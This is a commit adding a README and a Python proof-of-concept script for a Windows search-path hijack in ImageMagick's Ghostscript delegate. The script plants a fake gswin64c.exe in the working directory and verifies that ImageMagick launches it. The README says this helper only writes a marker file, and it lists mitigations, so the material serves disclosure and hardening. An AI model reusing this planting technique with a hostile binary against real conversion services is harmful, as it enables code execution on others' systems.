Upload files to "imagemagick-gs-delegate-hijack-poc"
This commit is contained in:
@@ -0,0 +1,125 @@
|
|||||||
|
# ImageMagick Ghostscript Delegate Search Path PoC
|
||||||
|
|
||||||
|
This repository contains a Python proof of concept for a Windows executable search-path issue in ImageMagick's Ghostscript delegate handling.
|
||||||
|
|
||||||
|
When ImageMagick converts PDF, PS, EPS, or related PostScript-family inputs on Windows, it builds a Ghostscript delegate command. In the fallback path where ImageMagick does not have a full Ghostscript executable path, the delegate command uses the bare executable name `gswin64c.exe`. The command is then launched through the Windows process API with the application name left unset, which allows normal Windows executable search behavior to choose the program that gets launched.
|
||||||
|
|
||||||
|
If the converter process runs from a directory that an attacker can write to, a planted `gswin64c.exe` in that directory can be launched when ImageMagick processes a PDF/PS-family file.
|
||||||
|
|
||||||
|
## Tested Versions
|
||||||
|
|
||||||
|
The local verification used:
|
||||||
|
|
||||||
|
- ImageMagick `7.1.2-25`
|
||||||
|
- Ghostscript `10.07.1`
|
||||||
|
- Windows x64
|
||||||
|
- Python 3
|
||||||
|
|
||||||
|
The PoC uses a harmless marker-writing helper named `gswin64c.exe`. The helper only writes a text file showing that it was launched and records the delegate arguments that ImageMagick passed.
|
||||||
|
|
||||||
|
## Repository Layout
|
||||||
|
|
||||||
|
- `poc.py`: Python replay harness.
|
||||||
|
- `helper/FakeGswin64c.cs`: source code for the marker-writing helper payload.
|
||||||
|
- `helper/gswin64c.exe.b64`: base64-encoded helper executable generated from `helper/FakeGswin64c.cs`.
|
||||||
|
|
||||||
|
## How The Bug Works
|
||||||
|
|
||||||
|
ImageMagick's delegate configuration contains Ghostscript command templates that reference `@PSDelegate@`. On Windows, that placeholder is filled by code that tries to locate Ghostscript. When a full path is available, the command points to that full path. In the fallback path, ImageMagick substitutes `gswin64c.exe`.
|
||||||
|
|
||||||
|
The resulting command has this shape:
|
||||||
|
|
||||||
|
```text
|
||||||
|
"gswin64c.exe" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE ... "-sDEVICE=pngalpha" ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Because the executable is a bare name, Windows resolves it through process search rules. A copy of `gswin64c.exe` in the current working directory can be selected before the real Ghostscript binary from `PATH`.
|
||||||
|
|
||||||
|
The PoC creates two directories:
|
||||||
|
|
||||||
|
- `control`: contains only a benign PDF. ImageMagick resolves `gswin64c.exe` from `PATH`, and conversion succeeds.
|
||||||
|
- `hijack`: contains the same benign PDF plus a marker-writing `gswin64c.exe`. ImageMagick launches the marker helper from the working directory.
|
||||||
|
|
||||||
|
For deterministic lab reproduction, the PoC points `MAGICK_GHOSTSCRIPT_PATH` at a throwaway directory that does not contain Ghostscript DLLs. That forces ImageMagick through the same fallback branch used by portable/no-registry deployments where a full Ghostscript path is unavailable.
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Windows
|
||||||
|
- Python 3
|
||||||
|
- ImageMagick for Windows with PDF/PS delegate support
|
||||||
|
- Ghostscript for Windows
|
||||||
|
|
||||||
|
The PoC accepts explicit paths, so it works with portable builds as well as installed builds.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
With `magick.exe` and `gswin64c.exe` already in `PATH`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py
|
||||||
|
```
|
||||||
|
|
||||||
|
With explicit paths:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py \
|
||||||
|
--magick "C:\path\to\magick.exe" \
|
||||||
|
--gs-bin "C:\path\to\ghostscript\bin"
|
||||||
|
```
|
||||||
|
|
||||||
|
For portable ImageMagick builds that need a config directory:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python poc.py \
|
||||||
|
--magick "C:\path\to\ImageMagick\magick.exe" \
|
||||||
|
--magick-configure-path "C:\path\to\ImageMagick" \
|
||||||
|
--gs-bin "C:\path\to\ghostscript\bin"
|
||||||
|
```
|
||||||
|
|
||||||
|
The script prints JSON evidence and writes a `result.json` file into the generated evidence directory.
|
||||||
|
|
||||||
|
Successful output includes:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"control": {
|
||||||
|
"output_exists": true
|
||||||
|
},
|
||||||
|
"hijack": {
|
||||||
|
"marker_exists": true,
|
||||||
|
"marker_text": "fake gswin64c executed\n..."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The marker text contains the exact delegate arguments passed by ImageMagick.
|
||||||
|
|
||||||
|
## Reproduction Flow
|
||||||
|
|
||||||
|
1. Create a benign PDF input.
|
||||||
|
2. Create a control directory with only that PDF.
|
||||||
|
3. Create a second directory with the same PDF and a marker helper named `gswin64c.exe`.
|
||||||
|
4. Prepend the real Ghostscript `bin` directory to `PATH`.
|
||||||
|
5. Run ImageMagick from the control directory and verify normal rendering.
|
||||||
|
6. Run ImageMagick from the second directory and verify that the local `gswin64c.exe` wrote the marker.
|
||||||
|
|
||||||
|
## Mitigations
|
||||||
|
|
||||||
|
Operational mitigations:
|
||||||
|
|
||||||
|
- Configure ImageMagick so Ghostscript resolves to an absolute executable path.
|
||||||
|
- Set `MAGICK_GHOSTSCRIPT_PATH` to the real Ghostscript `bin` directory when using ImageMagick in automated conversion services.
|
||||||
|
- Run conversion jobs from a trusted working directory that untrusted users cannot write to.
|
||||||
|
- Keep upload directories, extraction directories, and conversion working directories separate.
|
||||||
|
- Disable PDF/PS-family delegate processing when those formats are not required.
|
||||||
|
|
||||||
|
Code-level hardening:
|
||||||
|
|
||||||
|
- Avoid launching delegate programs by bare executable name.
|
||||||
|
- Pass an explicit absolute executable path to the process creation API.
|
||||||
|
- Set the child process working directory to a trusted location.
|
||||||
|
- Reject delegate execution when the resolved executable path is relative.
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
The helper payload in `helper/gswin64c.exe.b64` is generated from `helper/FakeGswin64c.cs`. It writes only the marker file named by `IM_GS_MARKER` and returns.
|
||||||
@@ -0,0 +1,182 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def sha256(path):
|
||||||
|
h = hashlib.sha256()
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
for chunk in iter(lambda: f.read(1024 * 1024), b""):
|
||||||
|
h.update(chunk)
|
||||||
|
return h.hexdigest().upper()
|
||||||
|
|
||||||
|
|
||||||
|
def build_pdf():
|
||||||
|
objects = [
|
||||||
|
b"<< /Type /Catalog /Pages 2 0 R >>",
|
||||||
|
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
|
||||||
|
b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>",
|
||||||
|
b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream",
|
||||||
|
]
|
||||||
|
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
|
||||||
|
offsets = [0]
|
||||||
|
for index, body in enumerate(objects, start=1):
|
||||||
|
offsets.append(len(out))
|
||||||
|
out.extend(f"{index} 0 obj\n".encode("ascii"))
|
||||||
|
out.extend(body)
|
||||||
|
out.extend(b"\nendobj\n")
|
||||||
|
xref = len(out)
|
||||||
|
out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
|
||||||
|
out.extend(b"0000000000 65535 f \n")
|
||||||
|
for offset in offsets[1:]:
|
||||||
|
out.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
|
||||||
|
out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii"))
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
def run(cmd, cwd, env):
|
||||||
|
return subprocess.run(
|
||||||
|
cmd,
|
||||||
|
cwd=str(cwd),
|
||||||
|
env=env,
|
||||||
|
text=True,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
shell=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def find_exe(name, explicit):
|
||||||
|
if explicit:
|
||||||
|
path = Path(explicit).expanduser().resolve()
|
||||||
|
if not path.exists():
|
||||||
|
raise SystemExit(f"{name} was not found: {path}")
|
||||||
|
return path
|
||||||
|
found = shutil.which(name)
|
||||||
|
if not found:
|
||||||
|
raise SystemExit(f"{name} was not found in PATH; pass its path explicitly")
|
||||||
|
return Path(found).resolve()
|
||||||
|
|
||||||
|
|
||||||
|
def write_text(path, text):
|
||||||
|
path.write_text(text, encoding="utf-8", errors="replace")
|
||||||
|
|
||||||
|
|
||||||
|
def load_helper_payload():
|
||||||
|
payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64"
|
||||||
|
if not payload.exists():
|
||||||
|
raise SystemExit(f"helper payload missing: {payload}")
|
||||||
|
return base64.b64decode("".join(payload.read_text(encoding="ascii").split()))
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC")
|
||||||
|
parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.")
|
||||||
|
parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.")
|
||||||
|
parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.")
|
||||||
|
parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if platform.system() != "Windows":
|
||||||
|
raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.")
|
||||||
|
|
||||||
|
magick = find_exe("magick.exe", args.magick)
|
||||||
|
if args.gs_bin:
|
||||||
|
gs_bin = Path(args.gs_bin).expanduser().resolve()
|
||||||
|
gs_exe = gs_bin / "gswin64c.exe"
|
||||||
|
if not gs_exe.exists():
|
||||||
|
raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}")
|
||||||
|
else:
|
||||||
|
gs_exe = find_exe("gswin64c.exe", None)
|
||||||
|
gs_bin = gs_exe.parent
|
||||||
|
|
||||||
|
if args.workdir:
|
||||||
|
root = Path(args.workdir).expanduser().resolve()
|
||||||
|
root.mkdir(parents=True, exist_ok=True)
|
||||||
|
else:
|
||||||
|
root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve()
|
||||||
|
|
||||||
|
control = root / "control"
|
||||||
|
hijack = root / "hijack"
|
||||||
|
fallback = root / "ghostscript-path-without-dll"
|
||||||
|
for directory in (control, hijack, fallback):
|
||||||
|
directory.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
for directory in (control, hijack):
|
||||||
|
(directory / "benign.pdf").write_bytes(build_pdf())
|
||||||
|
|
||||||
|
helper = hijack / "gswin64c.exe"
|
||||||
|
helper.write_bytes(load_helper_payload())
|
||||||
|
marker = hijack / "marker.txt"
|
||||||
|
|
||||||
|
env = os.environ.copy()
|
||||||
|
env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "")
|
||||||
|
env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback)
|
||||||
|
env["IM_GS_MARKER"] = str(marker)
|
||||||
|
if args.magick_configure_path:
|
||||||
|
env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve())
|
||||||
|
|
||||||
|
magick_version = run([str(magick), "-version"], root, env)
|
||||||
|
gs_version = run([str(gs_exe), "--version"], root, env)
|
||||||
|
control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env)
|
||||||
|
hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env)
|
||||||
|
|
||||||
|
write_text(control / "stdout.txt", control_result.stdout)
|
||||||
|
write_text(control / "stderr.txt", control_result.stderr)
|
||||||
|
write_text(hijack / "stdout.txt", hijack_result.stdout)
|
||||||
|
write_text(hijack / "stderr.txt", hijack_result.stderr)
|
||||||
|
|
||||||
|
marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else ""
|
||||||
|
result = {
|
||||||
|
"workdir": str(root),
|
||||||
|
"magick": {
|
||||||
|
"path": str(magick),
|
||||||
|
"sha256": sha256(magick),
|
||||||
|
"version": magick_version.stdout.strip(),
|
||||||
|
},
|
||||||
|
"ghostscript": {
|
||||||
|
"path": str(gs_exe),
|
||||||
|
"sha256": sha256(gs_exe),
|
||||||
|
"version": gs_version.stdout.strip(),
|
||||||
|
},
|
||||||
|
"helper": {
|
||||||
|
"path": str(helper),
|
||||||
|
"sha256": sha256(helper),
|
||||||
|
},
|
||||||
|
"control": {
|
||||||
|
"exit_code": control_result.returncode,
|
||||||
|
"output_png": str(control / "control.png"),
|
||||||
|
"output_exists": (control / "control.png").exists(),
|
||||||
|
},
|
||||||
|
"hijack": {
|
||||||
|
"exit_code": hijack_result.returncode,
|
||||||
|
"marker": str(marker),
|
||||||
|
"marker_exists": marker.exists(),
|
||||||
|
"marker_text": marker_text,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
result_path = root / "result.json"
|
||||||
|
result_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
print(json.dumps(result, indent=2))
|
||||||
|
if not result["control"]["output_exists"]:
|
||||||
|
raise SystemExit("Control conversion did not produce output; check control/stderr.txt")
|
||||||
|
if not result["hijack"]["marker_exists"]:
|
||||||
|
raise SystemExit("Hijack marker was not written; check hijack/stderr.txt")
|
||||||
|
if "fake gswin64c executed" not in marker_text:
|
||||||
|
raise SystemExit("Hijack marker did not contain the expected helper output")
|
||||||
|
print(f"\nPoC verified. Evidence directory: {root}")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
Reference in New Issue
Block a user